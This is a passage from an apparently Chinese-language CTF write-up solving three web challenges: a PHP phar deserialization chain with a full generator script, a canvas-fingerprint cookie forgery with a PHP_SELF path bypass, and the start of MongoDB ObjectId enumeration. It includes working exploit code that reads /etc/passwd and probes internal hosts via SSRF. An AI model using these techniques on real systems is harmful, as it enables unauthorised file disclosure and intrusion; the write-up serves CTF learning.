curl_close($ch);
return $output;
}
}
class MainClass {
public function __destruct() {
$this->why =new CurlClass;
echo $this->url;
echo $this->why->httpGet($this->url);
}
}
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
?>
看到备份文件中有`_destruct`与`curl`，思路也就比较清晰了，大致需要我们上传一个 phar
文件，然后用`phar://xx/xx`去触发反序列化漏洞。
这里我先测试`file:///etc/passwd`，用以下代码生成 phar 文件
<?php
class CurlClass
{
public function httpGet($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($ch,CURLOPT_HEADER, false);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
}
class MainClass
{
public function __destruct()
{
$this->why = new CurlClass;
echo $this->url;
echo $this->why->httpGet($this->url);
}
}
$phar = new Phar("zedd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MainClass();
$o->url = "file:///etc/passwd";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
修改后缀名为 .jpeg
，通过访问`phar://uploads/f68caba0b9.jpeg/test.txt`，成功获得了`file:///etc/passwd`的内容。
但是我们如何找 flag 呢，这里其实是比较坑的一个点，其实基本漏洞利用点已经找到了，接下来其实感觉是有些多余的出题设置，通过试探一些常用的 flag
目录路径，都没有找到 flag ，而后在`/etc/hosts`发现了同一个网段的另一台主机。
如图中的`192.168.32.2 7eaef799a0b8`，猜想是不是在 192.168.32.0/24 这个段上，或者比较靠前的机器上，当尝试到
192.168.32.3 时，发现有不寻常的返回。
看着有点像用 python 加密出来的东西，搜了一下发现是使用了一个叫`ebcdic`的 python 库，用了`cp1047`编码。
解码脚本：
import ebcdic
blob=b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85'
print(blob.decode("cp1047"))
得到`Hello /fetch~%[]^@)( me`
感觉是个 url 之类的，再构造 phar 包，访问 `http://192.168.32.3/fetch~%25%5B%5D%5E%40)(`，得到
看起来是同样的加密，直接解密就可以了。
import ebcdic
blob=b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
print(blob.decode("cp1047"))
最后得到 flag
### credz
> Alice is a admin of abc company in india. He knows about hackers and makes
> a system that can login only from his system and only his browser which is
> chrome.
>
> * Hint: ummm maybe that image has something to do with it.
> * Hint2: Admin is uses fresh chrome
> * Hint3: admin has different CanvasFingerprint
> * Hint4: Windows 10 64 bit
>
题目设置为一个登陆界面，并且有一行注释
<!-- remember me all the time, credz is not what you need luke -->
尝试了一下 sql 注入，并没有注入点，在尝试弱密码的时候使用`admin/admin`登录成功，但是页面提示
很直接，让我们伪造 admin 的 cookie ，这就需要我们另寻突破口了，在主页面发现一个貌似用来设置 cookie 的 js 文件：
Fps.js
(function(name, context, definition) {
if (typeof module !== 'undefined' && module.exports) {
module.exports = definition()
} else if (typeof define === 'function' && define.amd) {
define(definition)
} else {
context[name] = definition()
}
})('fpbrowser_v1', this, function() {
'use strict';
var Fingerprint = function(options) {
var nativeForEach, nativeMap;
nativeForEach = Array.prototype.forEach;
nativeMap = Array.prototype.map;
this.each = function(obj, iterator, context) {
if (obj === null) {
return
}
if (nativeForEach && obj.forEach === nativeForEach) {
obj.forEach(iterator, context)
} else if (obj.length === +obj.length) {
for (var i = 0, l = obj.length; i < l; i++) {
if (iterator.call(context, obj[i], i, obj) === {}) return
}
} else {
for (var key in obj) {
if (obj.hasOwnProperty(key)) {
if (iterator.call(context, obj[key], key, obj) === {}) return
}
}
}
};
this.map = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
this.each(obj, function(value, index, list) {
results[results.length] = iterator.call(context, value, index, list)
});
return results
};
if (typeof options == 'object') {
this.hasher = options.hasher;
this.screen_resolution = options.screen_resolution;
this.screen_orientation = options.screen_orientation;
this.canvas = options.canvas;
this.ie_activex = options.ie_activex
} else if (typeof options == 'function') {
this.hasher = options
}
};
Fingerprint.prototype = {
get: function() {
var keys = [];
keys.push(navigator.userAgent);
keys.push(navigator.language);
keys.push(screen.colorDepth);
if (this.screen_resolution) {
var resolution = this.getScreenResolution();
if (typeof resolution !== 'undefined') {
keys.push(resolution.join('x'))
}
}
keys.push(new Date().getTimezoneOffset());
keys.push(this.hasSessionStorage());
keys.push(this.hasLocalStorage());
keys.push(!!window.indexedDB);
if (document.body) {
keys.push(typeof(document.body.addBehavior))
} else {
keys.push(typeof undefined)
}
keys.push(typeof(window.openDatabase));
keys.push(navigator.cpuClass);
keys.push(navigator.platform);
keys.push(navigator.doNotTrack);
keys.push(this.getPluginsString());
if (this.canvas && this.isCanvasSupported()) {
keys.push(this.getCanvasFingerprint())
}
if (this.hasher) {
return this.hasher(keys.join('###'), 31)
} else {
return this.fingerprint_js_browser(keys.join('###'), 31)
}
},
fingerprint_js_browser: function(key, seed) {
var remainder, bytes, h1, h1b, c1, c2, k1, i;
remainder = key.length & 3;
bytes = key.length - remainder;
h1 = seed;
c1 = 0xcc9e2d51;
c2 = 0x1b873593;
i = 0;
while (i < bytes) {
k1 = ((key.charCodeAt(i) & 0xff)) | ((key.charCodeAt(++i) & 0xff) << 8) | ((key.charCodeAt(++i) & 0xff) << 16) | ((key.charCodeAt(++i) & 0xff) << 24);
++i;
k1 = ((((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16))) & 0xffffffff;
k1 = (k1 << 15) | (k1 >>> 17);
k1 = ((((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16))) & 0xffffffff;
h1 ^= k1;
h1 = (h1 << 13) | (h1 >>> 19);
h1b = ((((h1 & 0xffff) * 5) + ((((h1 >>> 16) * 5) & 0xffff) << 16))) & 0xffffffff;
h1 = (((h1b & 0xffff) + 0x6b64) + ((((h1b >>> 16) + 0xe654) & 0xffff) << 16))
}
k1 = 0;
switch (remainder) {
case 3:
k1 ^= (key.charCodeAt(i + 2) & 0xff) << 16;
case 2:
k1 ^= (key.charCodeAt(i + 1) & 0xff) << 8;
case 1:
k1 ^= (key.charCodeAt(i) & 0xff);
k1 = (((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16)) & 0xffffffff;
k1 = (k1 << 15) | (k1 >>> 17);
k1 = (((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16)) & 0xffffffff;
h1 ^= k1
}
h1 ^= key.length;
h1 ^= h1 >>> 16;
h1 = (((h1 & 0xffff) * 0x85ebca6b) + ((((h1 >>> 16) * 0x85ebca6b) & 0xffff) << 16)) & 0xffffffff;
h1 ^= h1 >>> 13;
h1 = ((((h1 & 0xffff) * 0xc2b2ae35) + ((((h1 >>> 16) * 0xc2b2ae35) & 0xffff) << 16))) & 0xffffffff;
h1 ^= h1 >>> 16;
return h1 >>> 0
},
hasLocalStorage: function() {
try {
return !!window.localStorage
} catch (e) {
return true
}
},
hasSessionStorage: function() {
try {
return !!window.sessionStorage
} catch (e) {
return true
}
},
isCanvasSupported: function() {
var elem = document.createElement('canvas');
return !!(elem.getContext && elem.getContext('2d'))
},
isIE: function() {
if (navigator.appName === 'Microsoft Internet Explorer') {
return true
} else if (navigator.appName === 'Netscape' && /Trident/.test(navigator.userAgent)) {
return true
}
return false
},
getPluginsString: function() {
if (this.isIE() && this.ie_activex) {
return this.getIEPluginsString()
} else {
return this.getRegularPluginsString()
}
},
getRegularPluginsString: function() {
return this.map(navigator.plugins, function(p) {
var mimeTypes = this.map(p, function(mt) {
return [mt.type, mt.suffixes].join('~')
}).join(',');
return [p.name, p.description, mimeTypes].join('::')
}, this).join(';')
},
getIEPluginsString: function() {
if (window.ActiveXObject) {
var names = ['ShockwaveFlash.ShockwaveFlash', 'AcroPDF.PDF', 'PDF.PdfCtrl', 'QuickTime.QuickTime', 'rmocx.RealPlayer G2 Control', 'rmocx.RealPlayer G2 Control.1', 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)', 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)', 'RealPlayer', 'SWCtl.SWCtl', 'WMPlayer.OCX', 'AgControl.AgControl', 'Skype.Detection'];
return this.map(names, function(name) {
try {
new ActiveXObject(name);
return name
} catch (e) {
return null
}
}).join(';')
} else {
return ""
}
},
getScreenResolution: function() {
var resolution;
if (this.screen_orientation) {
resolution = (screen.height > screen.width) ? [screen.height, screen.width] : [screen.width, screen.height]
} else {
resolution = [screen.height, screen.width]
}
return resolution
},
getCanvasFingerprint: function() {
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
var txt = 'I am not admin';
ctx.textBaseline = "top";
ctx.font = "12.5px 'Arial'";
ctx.textBaseline = "numeric";
ctx.fillStyle = "#f60";
ctx.fillRect(101, 5, 48, 30);
ctx.fillStyle = "#069";
ctx.fillText(txt, 2, 15);
ctx.fillStyle = "rgba(111, 177, 0.1, 0.7)";
ctx.fillText(txt, 4, 17);
return canvas.toDataURL()
}
};
return Fingerprint
});
function bjs_1(e) {
var r = new fpbrowser_v1,
t = new fpbrowser_v1({
canvas: !0
}),
n = r.get(),
o = t.get(),
i = n + "" + o,
a = getbrowser(),
d = new XMLHttpRequest,
s = "trackuser.php",
w = "m=" + i;
w += "&token=" + e, w += "&b=" + a, d.open("POST", s, !0), d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() {
if (4 == d.readyState && 200 == d.status) {
d.responseText;
"index.php" == e && (document.getElementById("loaderDiv").innerHTML = "")
}
}, d.send(w)
}
function getbrowser() {
var e = !!window.opr && !!opr.addons || !!window.opera || navigator.userAgent.indexOf(" OPR/") >= 0;
if (e) return "Opera";
var r = "undefined" != typeof InstallTrigger;
if (r) return "FireFox";
var t = Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor") > 0;
if (t) return "Safari";
var n = !1 || !!document.documentMode;
if (n) return "IE";
var o = !n && !!window.StyleMedia;
if (o) return "Edge";
var i = !!window.chrome && !!window.chrome.webstore;
return i ? "Chrome" : "other Browser"
}
大致进行了一波审计，从`index.html`中含有的`<script> var i='index.html'; bjs_1(i);
</script>`开始，发现`bjs_l()`函数，并且可以抓到请求`trackuser.php`的包
POST /trackuser.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/
Content-type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: continueCode=PJgGlaHKhetvcbIlToCVsZFLinSyHZuQcgCJfZSbuphvCV9slmH6ET5v08yK; cookieconsent_status=dismiss; PHPSESSID=877d4hrk97pg1qbnpb37sejqh7
Cache-Control: max-age=0
m=36743815193629702779&token=index.html&b=FireFox
跟进`bjs_l()`函数，发现初始化了两个`fpbrowser_v1`类，并且调用了`get()`函数返回值作为 ajax 请求中 m 的 value
值，关键就在`Fingerprint.prototype`这里的`get`函数，这里用`keys`数组存储了一系列的参数，但是其实主要的只是以下几个，因为其他参数我们完全可以直接用
windows 10 装一个最新的 chrome 来模拟环境，就不需要完全修改参数了
* navigator.language — 题目设置已经告诉我们 “Alice is a admin of abc company in india”
* navigator.userAgent — 题目 hint 给出 windows 10 chrome
* getTimezoneOffset() — India 的时区
* getCanvasFingerprint
大致就是以上因素，我们可以从 hint 中找到大部分的参数，设置`navigator.language`可以用 india 的 language
解决，`getTimezoneOffset`我们可以算得到是-300，唯独`getCanvasFingerprint`我们不太清楚，经过仔细查阅资料知道这个实现的就是`Canvas
Fingerprinting`，而题目中那个注释以及 hint 也给出了，应该就是用 `index.html`中的那个`canvas`图片
<img src="data:image/png;base64,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1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABCAs1AAIgAA3BCAsblKFQEEABP4LyQifPIBG84gAAAAASUVORK5CYII=">
所以通过这些几个设置，我们就可以得到`trackuser.php`中请求参数`m`的值为 2656613544186699742 ，发包得到对应的
Cookie
带着 Cookie 登录 `admin/admin`，得到下一步
直接访问，发现是个目录列举。
直接访问`admin.php`，发现`not_authorized`
而`pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack`文件则可以直接下载，我们可以通过[git tips
只有一个 pack 文件恢复整个系统](http://du1abadd.org/2010/git-tips-%E5%8F%AA%E6%9C%89%E4%B8%80%E4%B8%AA-pack-%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D%E6%95%B4%E4%B8%AA%E7%B3%BB%E7%BB%9F/)
得到`admin.php`文件
<?php
if ($_SESSION['go']) {
$sp_php = explode('/', $_SERVER['PHP_SELF']);
$langfilename = $sp_php[count($sp_php) - 1];
$pageListArray = array('index.php' => "1");
if ($pageListArray[$langfilename] != 1) {
echo "not_authorized";
Header("Location: index.php?not_authorized");
} else {
echo "hackim19{}";
}
} else {
echo "you need to complete the first barrier";
}
?>
简单审计，获取路径后检查`index.php`是否存在路径当中，我们用`admin.php/index.php`就可以简单绕过得到 flag
### proton
> Alice web site has been hacked and hackers removed the submit post option
> and posted some unwanted messages can you get them?
>
> Hint
>
> * mango can be eaten in 60 seconds
> * Mongo Mongo Mongo !!! and this is not a sql Injection
>
题目设置
访问`/getPOST`又得到
添加`id`参数访问
单引号尝试注入，发现报错
注入无果后，看了一下发现是个 Node.js 的站，尝试使用之前的 payload 检查错误信息
然而并没有发现什么可疑的js库，而且题目既然给出了不是 sql 注入的话，我们就需要得另找方向。
MongoDB 中有一个`ObjectId`的概念，它是一种 MongoDB 的类型
> ObjectIds are small, likely unique, fast to generate, and ordered.
> ObjectId values consist of 12 bytes, where the first four bytes are a
> timestamp that reflect the ObjectId’s creation. Specifically:
>
> * a 4-byte value representing the seconds since the Unix epoch,
> * a 5-byte random value, and
> * a 3-byte counter, starting with a random value.
>
参考[Angstrom CTF 2018] The Best Website Write-up
(Web230)](https://www.pwndiary.com/write-ups/angstrom-ctf-2018-the-best-website-write-up-web230/)，我们可以发现中间5位虽然随机产生，但是是固定的，所以我们需要做的就是猜解前4位以及后3位。而题目给出
hint 意思是时间差应该是小于等于 60s
，然后最后三位根据一开始给出的`id=5c51b9c9144f813f31a4c0e2`，从`a4c0e2`开始`+1`枚举到`a4c0ef`，但是这道题比较坑的地方也就在这，最后题目顺序并不是从这顺推的，而是逆序枚举的，而且时间也不是整
